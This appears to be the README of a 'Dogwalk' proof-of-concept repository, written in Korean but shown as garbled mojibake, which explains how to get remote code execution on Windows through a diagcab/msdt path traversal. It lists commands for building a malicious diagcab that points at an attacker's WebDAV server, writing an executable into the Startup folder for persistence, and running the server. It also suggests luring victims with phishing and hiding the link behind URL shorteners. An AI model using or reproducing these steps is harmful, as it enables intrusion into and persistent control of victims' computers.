
๐พDogwalk PoC (diagcab ํ์ผ์ ์ฌ์ฉํ์ฌ Windows์์ RCE๋ฅผ ์ป๊ธฐ)
๐จ ๋ฉด์ฑ ์กฐํญ ๐จ
์ด PoC๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ Windows ํผํด์ ์ฅ์น์์ ์๊ฒฉ ์ฝ๋ ์ธ์ ์ (Remote Code Injection)์ ์ํํ ์ ์์ต๋๋ค.
์ด ์ ์ฅ์์ ๋ชฉํ๋ <a href=https://github.com/irsl/microsoft-diagcab-rce-poc>์ด๊ธฐ ์ ์ฅ์๋ณด๋ค ๋ ์ฌ์ฉํ๊ธฐ ์ฝ๊ฒ PoC๋ฅผ ๋ง๋๋ ๊ฒ์ ๋๋ค.
์ฌ์ ์น์ธ ์์ด ์ฌ์ฉํ์ง ๋ง์ธ์!
๋ฐ์ํ๋ ํผํด์ ๊ณต๊ฒฉ์ ์ฉ์ด์ฑ์ ๋ํด,Microsoft๊ฐ ์ด ๋ฌธ์ ๋ฅผ ๊ณ ์ณ์ฃผ๊ธธ ๋ฐ๋๋๋ค
2022๋ 7์ ์ ๋ฐ์ดํธ: Microsoft๋ ์์ง msdt์ ์ทจ์ฝ์ ์ ํจ์นํ์ง ์์์ง๋ง, Microsoft Defender๋ ์ด๋ฅผ ํ์งํ ์ ์์ต๋๋ค.
ํต์ฌ ๊ฐ๋
: Microsoft์ Diagcab ๊ธฐ์ (msdt)์์ ์๊ฒฉ ์ฝ๋ ์คํ์ผ๋ก ์ด์ด์ง ์ ์๋ ๊ฒฝ๋ก ์ํ ์ทจ์ฝ์ .
์ ์ฒด ๊ถ๊ณ ๋ ๋ธ๋ก๊ทธ ๊ฒ์๋ฌผ์์ ํ์ธํ ์ ์์ต๋๋ค.
์ด ์ทจ์ฝ์ ์ 2๋
๋์ ๋ณด๊ณ ๋์์ง๋ง(@irsl), ์ฌ์ ํ ์์ ๋์ง ์์์ต๋๋ค!
์ด ๊ฐ๋
์ฆ๋ช
(PoC)์ ์
์ฑ .diagcab ํ์ผ์ ํธ์คํ
ํ๋ webdav ์๋ฒ๋ฅผ ์ค์ ํ๋ฉฐ, ํด๋น ํ์ผ์ ๊ฒฝ๋ก ์ํ(path traversal)๋ฅผ ์ํํ์ฌ ์
์ฑ ์คํ ํ์ผ์ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup์ ์์ฑํฉ๋๋ค. ์ด ํด๋์ ์คํ ํ์ผ์ ์์ฑํ๋ฉด ์ฌ์ฉ์๊ฐ Windows ๋จธ์ ์ ์์ํ ๋๋ง๋ค ์คํ๋๋ฉฐ, ์ด๋ฅผ ***๋ถํ
๋ก๊ทธ์จ ์๋ ์์ ์คํ(Boot Logon Autostart Execution)***์ด๋ผ๊ณ ํฉ๋๋ค.
๊ทธ๋์ ๊ธฐ๋ณธ์ ์ผ๋ก ํ์ํ ๊ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
.diagcab ํ์ผ.diagcab ํ์ผ์ ๋ค์ด๋ก๋ํ๊ฒ ๋๋ ๋งํฌ(ํผ์ฑ, ์ฌํ ๊ณตํ, ๋ฑ๋ฑ)๋ฅผ ๋ฐฉ๋ฌธํฉ๋๋ค.(๐ก Content-type: application/octet-stream ์๋ต ํค๋๋ฅผ ์ฌ์ฉํ๋ฉด ๋ธ๋ผ์ฐ์ ๊ฐ URL์ ๋ฐฉ๋ฌธํ ๋ ํ์ผ์ ์๋์ผ๋ก ๋ค์ด๋ก๋ํ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค)
๋จ๊ณ๋ณ๋ก ์งํํ๊ธฐ ๊ท์ฐฎ๋ค๋ฉด(๋๋ ์๋๋ฅด๊ณ ์๋ค๋ฉด):
./hurry-dogwalk.sh [WEBDAV_URL] # need docker
# Stop the server
./hurry-dogwalk.sh --clean
๊ทธ๋ ์ง ์์ผ๋ฉด โโ
.diagcab ํ์ผ ์ ์ํ๊ธฐ.diagcfg๋ ํ๋ ์ด์์ ์ง๋จ ํจํค์ง์ ๋ํ ์ฐธ์กฐ๋ฅผ ๋ณด๊ดํ๊ณ ์ด์ ๋ํ ๋ฉํ ์ ๋ณด๋ฅผ ์ ๊ณตํ๋ ๊ฐ๋จํ XML ํ์ผ์
๋๋ค..diagcab ํ์ฅ์๋ก ์ ์ฅ๋ฉ๋๋ค.๋จผ์ custom.diagcfg๋ฅผ ๋น๋ํฉ๋๋ค:
./build-malicious-diagcfg.sh --url [WEBDAV_URL]
๊ทธ๋ฆฌ๊ณ hotfix895214.diagcab๋ฅผ ๋น๋ํฉ๋๋ค:
cabarc.exe n hotfix895214.diagcab custom.diagcfg
# run it on windows (or with wine). If you do not find carbarc.exe use http://jc.bellamy.free.fr/download/cabarc.exe or http://download.microsoft.com/download/platformsdk/cab/2.0/w98nt42kmexp/en-us/Cabsdk.exe
๋ง์ง๋ง์ผ๋ก, ํด๋น ํ์ผ์ ./webdav/diagcab-webdav-poc/config ๋๋ ํฐ๋ฆฌ๋ก ์ด๋ํฉ๋๋ค.
ํผํด์ ๋จธ์ ์ ์ ์กํ๋ ค๋ ์คํ ํ์ผ์ ./webdav/malicious ๋๋ ํฐ๋ฆฌ์ ๋ฃ์ผ์ธ์... (์ฌ๊ธฐ์๋ ์ ํ์ ์ธ calc.exe๋ฅผ ์ฌ์ฉํฉ๋๋ค)
...๊ทธ๋ฆฌ๊ณ ์๋ฒ๋ฅผ ์คํํฉ๋๋ค:
cd ./webdav/diagcab-webdav-poc/
perl diagcab-webdav-poc.pl
์
์ฑ .diagcab ํ์ผ์ https://[WEBDAV_URL]/config/hotfix895214.diagcab์์ ํ์ธํ ์ ์์ต๋๋ค. ์ด์ ํผํด์๊ฐ ์ด ๋งํฌ๋ฅผ ํด๋ฆญํ๋๋ก ์ ๋ํด์ผ ํฉ๋๋ค.
(๐ก ์์ฌ์ค๋ฌ์ ๋ณด์ด์ง ์๋๋ก URL ๋จ์ถ ์๋น์ค๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค)
๐พ๐พ
